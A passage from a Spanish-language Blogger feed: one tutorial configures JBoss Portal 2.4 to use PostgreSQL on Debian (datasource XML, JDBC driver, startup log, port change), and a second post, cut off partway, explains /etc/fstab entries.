mas importantes son:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;En tecnología y Arquitectura:&lt;/span&gt;&lt;br /&gt;JEMS: Se apoya el poder de JBoss Enterprise Middleware JBoss Application Server, JBoss&lt;br /&gt;  Cache, JGroups, y Hibernate.&lt;br /&gt;• PP Agnóstico: ¿funcionan con cualquier RDBMS apoyo de Hibernate&lt;br /&gt;• SSO / LDAP: Se apoya Tomcat y JBoss de inicio de sesión único (SSO) de las soluciones.&lt;br /&gt;• JAAS Autenticación: Custom autenticación a través de módulos JAAS login.&lt;br /&gt;• Cacheing: Utiliza emitir opinión-caché para mejorar el rendimiento.&lt;br /&gt;• Clusterable: Grupo de apoyo para el portal estatal permite que se agrupen portales para todos los casos.&lt;br /&gt;• Hot-Despliegue: Se apoya JBoss dinámico para despliegue automático de características.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Soporte a Estandares:&lt;/span&gt;&lt;br /&gt;• Especificación y Portlet API 1.0 (JSR-168)&lt;br /&gt;• Content Repository for Java Technology API (JSR-170)&lt;br /&gt;• Java Server Faces 1.2 (JSR-252)&lt;br /&gt;• Java Management Extension (JMX) 1,2&lt;br /&gt;• Completo J2EE 1,4 cumplimiento cuando se utiliza con JBoss AS&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Portal y Portlet Container:&lt;br /&gt;&lt;/span&gt;&lt;div id="result_box" dir="ltr"&gt;• Múltiples instancias del portal: La capacidad de tener múltiples instancias en funcionamiento dentro del portal de un portal de contenedores.&lt;br /&gt;• IPC ™ Interamericano de Comunicación Portlet API permite a los portlets para crear enlaces con otros objetos, como una página, portal o ventana.&lt;br /&gt;• Dynamicity ™  La capacidad de los administradores y los usuarios a crear y destruir objetos, como los portlets, páginas, Portales, temas, y diseños en tiempo de ejecución.&lt;br /&gt;• Internacionalización: Capacidad para utilizar la internacionalización de archivos de recursos para cada portlet.&lt;br /&gt;• Pluggable servicios: autenticación realizada por el contenedor servlet y JAAS que hacen posible el intercambio de Esquemas de autenticación.&lt;br /&gt;&lt;div id="result_box" dir="ltr"&gt;• Página basada en la arquitectura: Permite la agrupación y división de los portlets en una página por cada base.&lt;br /&gt;• Marco de apoyo existentes: Portlets utilizando Struts, Spring MVC, Sun JSF-RI, AJAX, o que cuenten con el apoyo de MyFaces Portado.&lt;br /&gt;&lt;br /&gt;&lt;div id="result_box" dir="ltr"&gt;&lt;span style="font-weight: bold;"&gt;Temas y Diseños:&lt;/span&gt;&lt;br /&gt;• Fácilmente intercambiables temas / diseños: Nuevos temas y diseños que contengan imágenes se pueden desplegar en un WAR&lt;br /&gt;• Flexible API: Tema y diseño de la API están diseñados para separar la capa de negocio de la capa de presentación.&lt;br /&gt;&lt;br /&gt;&lt;div id="result_box" dir="ltr"&gt;&lt;span style="font-weight: bold;"&gt;Funcionalidad de usuario y de grupo:&lt;/span&gt;&lt;br /&gt;• Registro de usuario / validación: registro de los parámetros configurables para permitir que los usuarios de correo electrónico de validación antes de su activación.&lt;br /&gt;• Login: Hace uso de contenedor servlet de autenticación.&lt;br /&gt;• Crear o modificar usuarios: Capacidad para que los administradores de crear/editar perfiles de usuario.&lt;br /&gt;• Crear o modificar Roles: La habilidad para los administradores de crear/editar los papeles.&lt;br /&gt;• Asignación de Papel: La habilidad para los administradores asignar funciones a los usuarios.&lt;br /&gt;&lt;br /&gt;&lt;div id="result_box" dir="ltr"&gt;&lt;span style="font-weight: bold;"&gt;Gestión de permisos:&lt;/span&gt;&lt;br /&gt;• Permisos ampliables con la API: Permisos basados en la definición de papeles.&lt;br /&gt;• Administraión de la interfaz: Permite a las cesiones de los permisos de funciones en cualquier momento por cualquier despliegue de portlet, Página, o portal de ejemplo.&lt;br /&gt;&lt;br /&gt;&lt;div id="result_box" dir="ltr"&gt;&lt;span style="font-weight: bold;"&gt;Sistema de Gestión de Contenidos (CMS):&lt;/span&gt;&lt;br /&gt;• JCR conformes: El CMS se alimenta a través de Apache Jackrabbit, una aplicación de código abierto de Java&lt;br /&gt;• PP o almacenar el apoyo del sistema de archivos: Configurable para almacenar el contenido del sistema de archivos o bien un RDBMS.&lt;br /&gt;• Factores externos Blob Soporte: Contenido configurable que permite almacenar grandes nodos  de referencias y propiedades al residir en una RDBMS.&lt;br /&gt;• versionado de apoyo: Todo el contenido editado o creado es autoversionedo con una historia de ediciones que se pueden ver en cualquier momento.&lt;br /&gt;• equipado con un editor HTML: HTML de modo WYSIWYG, la funcionalidad de vista preliminar, y HTML .&lt;br /&gt;&lt;br /&gt;El listado anterior son las caracteristicas mas importantes de este Open-Source. ahora que ya tenemos una mejor noción de lo que es un portal de fuente abierta podremos continuar con el articulo. Por defecto jboss portal viene con una base de datos, la HSQL o Hipersonic, ahora generaremos la configuración para PostgreSQL, de esta manera se nos facilita un poco la administración de la base del portal, si es que tenemos webmin.&lt;br /&gt;&lt;br /&gt;Entonces lo primero que haremos sera descargarnos jboos portal de la siguiente url, para este ejemplo practico, ocupo jboss portal 2.4 bundled, postgresql 8.2, linux debian y la jdk1.5.0_12:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1.- &lt;/span&gt;Descargamos jboss-portal-2.4.1-bundled.zip de la siguiente url:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://labs.jboss.com/jbossportal/download/index.html"&gt;http://labs.jboss.com/jbossportal/download/index.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2.-&lt;/span&gt; Lo descomprimimos en un directorio y nos aseguramos de tener los permisos para levantar en servicio:&lt;br /&gt;&lt;br /&gt;slack@debian:~/portals$ &lt;span style="font-weight: bold;"&gt;unzip jboss-portal-2.4.1-bundled.zip&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;este comando anterior descomprime el zip en el directorio donde nos encontramos, luego vamos al directorio bin de la raiz del jboss.&lt;br /&gt;&lt;br /&gt;slack@debian:~/portals$ &lt;span style="font-weight: bold;"&gt;cd jboss-portal-2.4.1/bin/&lt;br /&gt;&lt;/span&gt;slack@debian:~/portals/jboss-portal-2.4.1/bin$&lt;span style="font-weight: bold;"&gt; ls -la&lt;br /&gt;&lt;/span&gt;total 180&lt;br /&gt;drwxr-xr-x 2 slack slack  4096 2006-12-20 17:26 .&lt;br /&gt;drwxr-xr-x 8 slack slack  4096 2006-12-20 17:27 ..&lt;br /&gt;-rw-r--r-- 1 slack slack  3539 2006-12-20 17:26 classpath.sh&lt;br /&gt;-rw-r--r-- 1 slack slack  3479 2006-12-20 17:26 jboss_init_hpux.sh&lt;br /&gt;-rw-r--r-- 1 slack slack  2463 2006-12-20 17:26 jboss_init_redhat.sh&lt;br /&gt;-rw-r--r-- 1 slack slack  3750 2006-12-20 17:26 jboss_init_suse.sh&lt;br /&gt;-rw-r--r-- 1 slack slack   535 2006-12-20 17:26 probe.bat&lt;br /&gt;-rw-r--r-- 1 slack slack   918 2006-12-20 17:26 probe.sh&lt;br /&gt;-rw-r--r-- 1 slack slack  3221 2006-12-20 17:26 run.bat&lt;br /&gt;-rw-r--r-- 1 slack slack  1572 2006-12-20 17:26 run.conf&lt;br /&gt;-rw-r--r-- 1 slack slack 38163 2006-12-20 17:26 run.jar&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;-rw-r--r-- 1 slack slack  4672 2006-12-20 17:26 run.sh&lt;/span&gt;&lt;br /&gt;-rw-r--r-- 1 slack slack  1813 2006-12-20 17:26 shutdown.bat&lt;br /&gt;-rw-r--r-- 1 slack slack 17296 2006-12-20 17:26 shutdown.jar&lt;br /&gt;-rw-r--r-- 1 slack slack  2061 2006-12-20 17:26 shutdown.sh&lt;br /&gt;-rw-r--r-- 1 slack slack  2137 2006-12-20 17:26 twiddle.bat&lt;br /&gt;-rw-r--r-- 1 slack slack 47481 2006-12-20 17:26 twiddle.jar&lt;br /&gt;-rw-r--r-- 1 slack slack  2414 2006-12-20 17:26 twiddle.sh&lt;br /&gt;-rw-r--r-- 1 slack slack  2037 2006-12-20 17:26 wstools.bat&lt;br /&gt;-rw-r--r-- 1 slack slack  2776 2006-12-20 17:26 wstools.sh&lt;br /&gt;&lt;br /&gt;tendremos que dar permiso al &lt;span style="font-weight: bold;"&gt;run.sh&lt;/span&gt; para levantar el servidor jboss, con el siguiente comando:&lt;br /&gt;&lt;br /&gt;slack@debian:~/portals/jboss-portal-2.4.1/bin$ &lt;span style="font-weight: bold;"&gt;chmod +x run.sh&lt;br /&gt;&lt;br /&gt;IMPORTANTE: no correr run.sh hasta terminar la configuración&lt;br /&gt;&lt;br /&gt;Ya tenemos listo jboss para arrancarlo, ahora veremos el tema de la configuración de la base de datos, aqui lo setearemos para postgresql.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Primero vamos al &lt;a href="http://linslackware.blogspot.com/2007/10/administracin-de-sistemas-unix-con.html"&gt;&lt;span style="font-weight: bold;"&gt;webmin&lt;/span&gt;&lt;/a&gt; o algún gestor de bases de datos &lt;span style="font-weight: bold;"&gt;Postgre,&lt;/span&gt; creamos una base de datos para el portal &lt;span style="font-weight: bold;"&gt;(jbossportal),&lt;/span&gt; ademas nos creamos un usuario &lt;span style="font-weight: bold;"&gt;(portaluser)&lt;/span&gt; y le asignamos una clave &lt;span style="font-weight: bold;"&gt;(quaker77)&lt;/span&gt; para esta base de datos, con permisos para crear tablas.&lt;br /&gt;Una vez creada correctamente la base de datos, verificamos que podamos conectarnos, para esto podemos ocupar un database explorer de bases de datos, del mismo ide Eclipse, Netbeans, u otro, ya conectados seguimos adelante con la configuracion de los archivos de jboss para postgresql.&lt;br /&gt;&lt;br /&gt;Tendremos que editar 2 archivos de configuración, estos son:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;postgres-ds.xml&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;portal-postgresql-ds.xml&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;y la ubicación donde deben ir el el portal es:&lt;br /&gt;&lt;br /&gt;slack@debian:~/portals&lt;span style="font-weight: bold;"&gt;/jboss-portal-2.4.1/server/default/deploy&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Sin embargo la primera vez estos archivos no se encuentran el este directorio, ya que la configuración por default es con HSQL. si listamos los archivos vemos los archivos de configuración para &lt;span style="font-weight: bold;"&gt;HSQL&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;slack@debian:~/portals/jboss-portal-2.4.1/server/default/deploy$ &lt;span style="font-weight: bold;"&gt;ls&lt;/span&gt;&lt;br /&gt;bsh-deployer.xml                http-invoker.sar         jboss-local-jdbc.rar&lt;br /&gt;jmx-console.war          monitoring-service.xml        uuid-key-generator.sar&lt;br /&gt;cache-invalidation-service.xml  jboss-aop.deployer       jboss-portal.sar       jmx-invoker-service.xml  &lt;span style="font-weight: bold;"&gt;portal-hsqldb-ds.xml  &lt;/span&gt;client-deployer-service.xml     jboss-bean.deployer      jbossweb-tomcat55.sar  jsr88-service.xml        properties-service.xml&lt;br /&gt;ear-deployer.xml                jboss-ha-local-jdbc.rar  jbossws14.sar          mail-ra.rar              schedule-manager-service.xml   ejb-deployer.xml                jboss-ha-xa-jdbc.rar     jboss-xa-jdbc.rar      mail-service.xml         scheduler-service.xml&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;hsqldb-ds.xml &lt;/span&gt;                  jbossjca-service.xml     jms                    management               sqlexception-service.xml&lt;br /&gt;&lt;br /&gt;Pero como nosostros queremos levantar el portal jboss con PostgreSQL, debemos reemplazar estos archivos por los que corresponden para &lt;span style="font-weight: bold;"&gt;PostgreSQL, &lt;/span&gt;el archivo&lt;span style="font-weight: bold;"&gt; portal-postgresql-ds.xml,  &lt;/span&gt;se encuantra en el directorio &lt;span style="font-weight: bold;"&gt;Setup&lt;/span&gt; de la raiz del jboss, vamos allá entonces y procedemos a editarlo para nuestra base de datos&lt;br /&gt;&lt;br /&gt;slack@debian:~/portals/jboss-portal-2.4.1/setup$ &lt;span style="font-weight: bold;"&gt;nano portal-postgresql-ds.xml&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;esto es lo importante:&lt;br /&gt;&lt;br /&gt;&lt;datasources&gt;&lt;br /&gt;  &lt;local-tx-datasource&gt;&lt;br /&gt;    &lt;jndi-name&gt;PortalDS&lt;/jndi-name&gt;&lt;br /&gt;    &lt;connection-url&gt;jdbc:postgresql:&lt;span style="font-weight: bold;"&gt;jbossportal&lt;/span&gt;&lt;/connection-url&gt;&lt;br /&gt;    &lt;driver-class&gt;org.postgresql.Driver&lt;/driver-class&gt;&lt;br /&gt;    &lt;user-name&gt;&lt;span style="font-weight: bold;"&gt;portaluser&lt;/span&gt;&lt;/user-name&gt;&lt;br /&gt;    &lt;password&gt;&lt;span style="font-weight: bold;"&gt;quaker77&lt;/span&gt;&lt;/password&gt;&lt;br /&gt;  &lt;/local-tx-datasource&gt;&lt;br /&gt;&lt;/datasources&gt;&lt;br /&gt;&lt;br /&gt;Guardamos el archivo en:&lt;br /&gt;&lt;br /&gt;slack@debian:~/portals&lt;span style="font-weight: bold;"&gt;/jboss-portal-2.4.1/server/default/deploy&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;y eliminamos el archivo que correspondia a &lt;span style="font-weight: bold;"&gt;HSQL, portal-hsqldb-ds.xml&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;posteriormente hacemos lo mismo para &lt;span style="font-weight: bold;"&gt;postgres-ds.xml&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Este archivo se encuentra en:&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;slack@debian:~/portals/jboss-portal-2.4.1/docs/examples/jca$ ls&lt;br /&gt;&lt;/span&gt;asapxcess-jb3.2-ds.xml  facets-ds.xml               hsqldb-encrypted-ds.xml  jms-ds.xml                mssql-ds.xml      pointbase-xa-ds.xml  sybase-ds.xml&lt;br /&gt;cicsr9s-ds.xml          fastobjects-jboss32-ds.xml  informix-ds.xml          jsql-ds.xml               mssql-xa-ds.xml   &lt;span style="font-weight: bold;"&gt;postgres-ds.xml&lt;/span&gt;&lt;br /&gt;db2-400-ds.xml          firebird-ds.xml             informix-xa-ds.xml       lido-versant-service.xml  mysql-ds.xml      progress-ds.xml&lt;br /&gt;db2-ds.xml              generic-ds.xml              jboss-ha-local-jdbc.rar  mimer-ds.xml              oracle-ds.xml     sapdb-ds.xml&lt;br /&gt;db2-xa-ds.xml           hajndi-jms-ds.xml           jboss-ha-xa-jdbc.rar     mimer-xa-ds.xml           oracle-xa-ds.xml  sapr3-ds.xml&lt;br /&gt;derby-ds.xml            hsqldb-ds.xml               jdatastore-ds.xml        msaccess-ds.xml           pointbase-ds.xml  solid-ds.xml&lt;br /&gt;&lt;br /&gt;Procedemos a editarlo de la misma manera:&lt;br /&gt;&lt;br /&gt;slack@debian:~/portals/jboss-portal-2.4.1/docs/examples/jca$ &lt;span style="font-weight: bold;"&gt;nano postgres-ds.xml&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;de dejamos como se ve:&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;datasources&gt;&lt;br /&gt;  &lt;local-tx-datasource&gt;&lt;br /&gt;    &lt;jndi-name&gt;PostgresDS&lt;/jndi-name&gt;&lt;br /&gt;    &lt;connection-url&gt;jdbc:postgresql://[servername]:[port]/[database name]&lt;/connection-url&gt;&lt;br /&gt;    &lt;driver-class&gt;org.postgresql.Driver&lt;/driver-class&gt;&lt;br /&gt;    &lt;user-name&gt;&lt;span style="font-weight: bold;"&gt;portaluser&lt;/span&gt;&lt;/user-name&gt;&lt;br /&gt;    &lt;password&gt;&lt;span style="font-weight: bold;"&gt;quaker77&lt;/span&gt;&lt;/password&gt;&lt;br /&gt;        &lt;!-- sql to call when connection is created.  Can be anything, select 1 is valid for PostgreSQL --&gt;&lt;br /&gt;        &lt;new-connection-sql&gt;select 1&lt;/new-connection-sql&gt;&lt;br /&gt;&lt;br /&gt;        &lt;!-- sql to call on an existing pooled connection when it is obtained from pool.  Can be anything, select 1 is valid for PostgreSQL --&gt;&lt;br /&gt;        &lt;check-valid-connection-sql&gt;select 1&lt;/check-valid-connection-sql&gt;&lt;br /&gt;&lt;br /&gt;      &lt;!-- corresponding type-mapping in the standardjbosscmp-jdbc.xml (optional)&lt;br /&gt;      &lt;metadata&gt;&lt;br /&gt;         &lt;type-mapping&gt;PostgreSQL 7.2&lt;/type-mapping&gt;&lt;br /&gt;      &lt;/metadata&gt;  --&gt;&lt;br /&gt;  &lt;/local-tx-datasource&gt;&lt;br /&gt;&lt;br /&gt;&lt;/datasources&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Lo guardamos y copiamos al directorio:&lt;br /&gt;&lt;br /&gt;slack@debian:~/portals&lt;span style="font-weight: bold;"&gt;/jboss-portal-2.4.1/server/default/deploy&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;y eliminamos el archivo que correspondia a &lt;span style="font-weight: bold;"&gt;HSQL, hsqldb-ds.xml&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ahora buscamos el driver para conectarnos a postgre, yo tengo, &lt;span style="font-weight: bold;"&gt;postgresql-jdbc3-8.1-405.jar&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;lo copiamos a:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;slack@debian:~/portals/jboss-portal-2.4.1/server/default/lib$ ls&lt;br /&gt;&lt;/span&gt;activation.jar             commons-collections.jar  jboss-backport-concurrent.jar  jboss-management.jar     jbosssx.jar             &lt;span style="font-weight: bold;"&gt;postgresql-jdbc3-8.1-405.jar&lt;/span&gt;&lt;br /&gt;antlr-2.7.6.jar            commons-httpclient.jar   jboss-common-jdbc-wrapper.jar  jboss-monitoring.jar     jboss-transaction.jar   properties-plugin.jar&lt;br /&gt;autonumber-plugin.jar      commons-logging.jar      jboss-hibernate.jar            jbossmq.jar              jmx-adaptor-plugin.jar  scheduler-plugin-example.jar&lt;br /&gt;bcel.jar                   hibernate3.jar           jboss-j2ee.jar                 jboss-remoting-int.jar   jnpserver.jar           scheduler-plugin.jar&lt;br /&gt;bindingservice-plugin.jar  hsqldb.jar               jboss.jar                      jboss-remoting.jar       jpl-pattern.jar         snmp-support.jar&lt;br /&gt;bsf.jar                    hsqldb-plugin.jar        jboss-jaxrpc.jar               jbossretro-rt.jar        jpl-util.jar            wsdl4j.jar&lt;br /&gt;bsh-1.3.0.jar              javassist.jar            jboss-jca.jar                  jboss-saaj.jar           log4j.jar               xmlentitymgr.jar&lt;br /&gt;bsh-deployer.jar           javax.servlet.jar        jboss-jsr77.jar                jboss-serialization.jar  mail.jar&lt;br /&gt;cglib.jar                  javax.servlet.jsp.jar    jboss-jsr88.jar                jboss-srp.jar            mail-plugin.jar&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;Una vez todo listo, vemos la configuración que se despliega cuando arrancamos el portal:&lt;br /&gt;&lt;br /&gt;slack@debian:~/portals/jboss-portal-2.4.1/bin$ &lt;span style="font-weight: bold;"&gt;./run.sh&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;=========================================================================&lt;br /&gt;&lt;br /&gt;  JBoss Bootstrap Environment&lt;br /&gt;&lt;br /&gt;  JBOSS_HOME: /home/slack/portals/jboss-portal-2.4.1&lt;br /&gt;&lt;br /&gt;  JAVA: /usr/lib/jvm/jdk1.5.0_12/bin/java&lt;br /&gt;&lt;br /&gt;  JAVA_OPTS: -server -Xms128m -Xmx512m -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000 -Dprogram.name=run.sh&lt;br /&gt;&lt;br /&gt;  CLASSPATH: /home/slack/portals/jboss-portal-2.4.1/bin/run.jar:/usr/lib/jvm/jdk1.5.0_12/lib/tools.jar&lt;br /&gt;&lt;br /&gt;=========================================================================&lt;br /&gt;&lt;br /&gt;13:56:48,594 INFO  [Server] Starting JBoss (MX MicroKernel)...&lt;br /&gt;13:56:48,595 INFO  [Server] Release ID: JBoss [Zion] 4.0.4.GA (build: CVSTag=JBoss_4_0_4_GA date=200605151000)&lt;br /&gt;13:56:48,597 INFO  [Server] Home Dir: /home/slack/portals/jboss-portal-2.4.1&lt;br /&gt;13:56:48,597 INFO  [Server] Home URL: file:/home/slack/portals/jboss-portal-2.4.1/&lt;br /&gt;13:56:48,598 INFO  [Server] Patch URL: null&lt;br /&gt;13:56:48,598 INFO  [Server] Server Name: default&lt;br /&gt;13:56:48,598 INFO  [Server] Server Home Dir: /home/slack/portals/jboss-portal-2.4.1/server/default&lt;br /&gt;13:56:48,598 INFO  [Server] Server Home URL: file:/home/slack/portals/jboss-portal-2.4.1/server/default/&lt;br /&gt;13:56:48,598 INFO  [Server] Server Log Dir: /home/slack/portals/jboss-portal-2.4.1/server/default/log&lt;br /&gt;13:56:48,599 INFO  [Server] Server Temp Dir: /home/slack/portals/jboss-portal-2.4.1/server/default/tmp&lt;br /&gt;13:56:48,599 INFO  [Server] Root Deployment Filename: jboss-service.xml&lt;br /&gt;13:56:48,908 INFO  [ServerInfo] Java version: 1.5.0_12,Sun Microsystems Inc.&lt;br /&gt;13:56:48,908 INFO  [ServerInfo] Java VM: Java HotSpot(TM) Server VM 1.5.0_12-b04,Sun Microsystems Inc.&lt;br /&gt;13:56:48,909 INFO  [ServerInfo] OS-System: Linux 2.6.18-5-686,i386&lt;br /&gt;13:56:49,368 INFO  [Server] Core system initialized&lt;br /&gt;.&lt;br /&gt;.&lt;br /&gt;.&lt;br /&gt;.&lt;br /&gt;.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;13:57:39,104 INFO  [Dialect] Using dialect: org.hibernate.dialect.PostgreSQLDialect&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;13:57:44,420 INFO  [ConnectionFactoryBindingService] Bound ConnectionManager 'jboss.jca:service=DataSourceBinding,name=PostgresDS' to J NDI name 'java:PostgresDS'&lt;/span&gt;&lt;br /&gt;13:57:44,747 INFO  [Http11BaseProtocol] Starting Coyote HTTP/1.1 on http-0.0.0.0-8080&lt;br /&gt;13:57:44,839 INFO  [ChannelSocket] JK: ajp13 listening on /0.0.0.0:8009&lt;br /&gt;13:57:44,849 INFO  [JkMain] Jk running ID=0 time=0/38  config=null&lt;br /&gt;13:57:44,860 INFO  [Server] JBoss (MX MicroKernel) [4.0.4.GA (build: CVSTag=JBoss_4_0_4_GA date=200605151000)] Started in 56s:259ms&lt;br /&gt;&lt;br /&gt;Vemos que en algunas lineas del log en el arranque esta configurada la nueva conexión de base de datos para el portal jboss, para confirmar esto abrimos el browser y efectuamos el inicio de sesion:&lt;br /&gt;&lt;br /&gt;http://localhost:8080/portal/auth/portal/default/Admin&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;OJO: &lt;/span&gt;por defecto jboss ocupa el puerto 8080, sin embargo a veces ocupamos ese mismo puerto para tomcat, lo podemos solucionar editando el archivo server.xml  que se encuentra en:&lt;br /&gt;&lt;br /&gt;slack@debian:~/portals/jboss-portal-2.4.1/server/default/deploy/jbossweb-tomcat55.sar$ &lt;span style="font-weight: bold;"&gt;ls&lt;/span&gt;&lt;br /&gt;catalina.jar           commons-el.jar       context.xml              jasper-runtime.jar  naming-resources.jar  servlets-default.jar  tomcat55-service.jar  tomcat-coyote.jar&lt;br /&gt;catalina-manager.jar   commons-modeler.jar  jasper-compiler.jar      jsf-libs            ROOT.war              servlets-invoker.jar  tomcat-ajp.jar        tomcat-http.jar&lt;br /&gt;catalina-optional.jar  conf                 jasper-compiler-jdt.jar  META-INF            &lt;span style="font-weight: bold;"&gt;server.xml  &lt;/span&gt;          servlets-webdav.jar   tomcat-apr.jar        tomcat-util.jar&lt;br /&gt;&lt;br /&gt;modificando el puerto &lt;span style="font-weight: bold;"&gt;8080&lt;/span&gt; al &lt;span style="font-weight: bold;"&gt;8082&lt;/span&gt; por ejemplo.&lt;br /&gt;&lt;br /&gt;bueno, ingresamos entonces al portal como admin admin, y creamos un usuario, &lt;span style="font-weight: bold;"&gt;quaker&lt;/span&gt; por ejemplo. luego vamos al webmin o hacemos una query a la tabla &lt;span style="font-size:+1;"&gt;&lt;tt&gt;jbp_users y vemos  que tenemos este usuario en esa tabla en nuestro PostgreSQL.&lt;br /&gt;&lt;br /&gt;Saludos y suerte !!&lt;br /&gt;&lt;/tt&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-5410123723894596166?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/5410123723894596166/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=5410123723894596166' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/5410123723894596166'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/5410123723894596166'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2008/02/configurando-jboss-portal-para.html' title='Configurando Jboss portal para postgresql'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-8388119269201872508</id><published>2008-01-25T14:45:00.000-03:00</published><updated>2008-01-25T14:48:55.885-03:00</updated><title type='text'>FSTAB</title><content type='html'>Hola, una de las grandes ventajas de Linux es la posibilidad de utilizar distintos tipos de sistemas de ficheros, desde los variados sistemas de Linux ( desde Ext2 a Ext3 paasndo por ReiserFS y XFS ), los sistemas de ficheros de red ( NFS o SMB ), los de Windows ( Vfat o NTFS ) e incluso los de otros tipos de Unix como por ejemplo el sistema UFS de los BSD.&lt;br /&gt;&lt;br /&gt;Para poder trabajar con estos sistemas de ficheros es necesario tener el núcleo del sistemas preparado para ello, ya sea integrando estos sistemas de ficheros en el kernel o agregándolos como módulos.&lt;br /&gt;&lt;br /&gt;Montar estos sistemas de ficheros puede ser algo tedioso, no es muy agradable tener que teclear mount y sus opciones cada vez que necesitamos montar un sistema, especialmente si es un sistema que utilizaremos con frecuencia. Es por ello que nos viene muy bien conocer fstab.&lt;br /&gt;&lt;br /&gt;Fstab es un fichero que está alojado en el directorio /etc y que posee las configuraciones de los distintos sistemas de ficheros de nuestro sistema operativo, así como el lugar donde se montan y las opciones que se aplican a ellos. Configurar /etc/fstab es necesario para tener un acceso rapido a nuestros datos de Windows, así como para que dicha partición se monte automáticamente al iniciar nuestro Linux. Este artículo se dedicará a explicarnos cual es la estructura de dicho fichero y como configurarlo a nuestro gusto.&lt;br /&gt;&lt;br /&gt;Antes que nada veremos mi /etc/fstab y explicaré una por una las columnas, su significado y su uso, para visualizarlo simplemente ejecutamos cat /etc/fstab en consola:&lt;br /&gt;&lt;br /&gt;debian:/home/slack# cat /etc/fstab&lt;br /&gt;# /etc/fstab: static file system information.&lt;br /&gt;#&lt;br /&gt;# &lt;file&gt; &lt;mount&gt;   &lt;type&gt;  &lt;options&gt;       &lt;dump&gt;  &lt;pass&gt;&lt;br /&gt;proc            /proc           proc    defaults        0       0&lt;br /&gt;/dev/sda1    /                 ext3    defaults,errors=remount-ro 0       1&lt;br /&gt;/dev/sda2         /mnt            ext3  defaults,errors=remount-ro 0       1&lt;br /&gt;/dev/sda3    none           swap    sw              0       0&lt;br /&gt;/dev/hda      /media/cdrom0   udf,iso9660 user,noauto     0       0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;La siguiente es la salida de ejecución del mismo comando anterior, pero con mas opciones para la esta explicación:&lt;br /&gt;&lt;br /&gt;/dev/hda7   swap   swap          defaults   0   0&lt;br /&gt;/dev/hda5        /                 ext3           defaults            1   1&lt;br /&gt;/dev/hda2        /mnt/windows       ntfs            umask=0             0   0&lt;br /&gt;/dev/hda6        /mnt/datos            vfat            user,umask=0       0   0&lt;br /&gt;/dev/hdd          /mnt/cdrom           iso9660     noauto,user         0   0&lt;br /&gt;/dev/fd0           /mnt/floppy           auto           noauto,owner,umask=0,user      0   0&lt;br /&gt;devpts             /dev/pts                devpts        gid=5       0   0&lt;br /&gt;proc                 /proc                    proc           defaults             0   0&lt;br /&gt;/dev/sda1        /mnt/usb               vfat             noauto,rw,umask=0,user,sync   0   0&lt;br /&gt;none                /sys                      sysfs           defaults            0   0&lt;br /&gt;/dev/hda3        /mnt/freebsd        ufs               umask=0,user,noauto      0   0&lt;br /&gt;/dev/hda8        /boot                    ext3             defaults           1   1&lt;br /&gt;&lt;br /&gt;Como puede apreciarse cada linea consiste en un sistema de ficheros configurado mediante 6 columnas, procedo ahora a realizar una descripción de cada una de las columnas:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Primer campo&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Es el dispositivo o sistema de ficheros que se montará, normalmente sera un fichero ( en Linux todo es un fichero ) del directorio /dev. Con hda se denota el 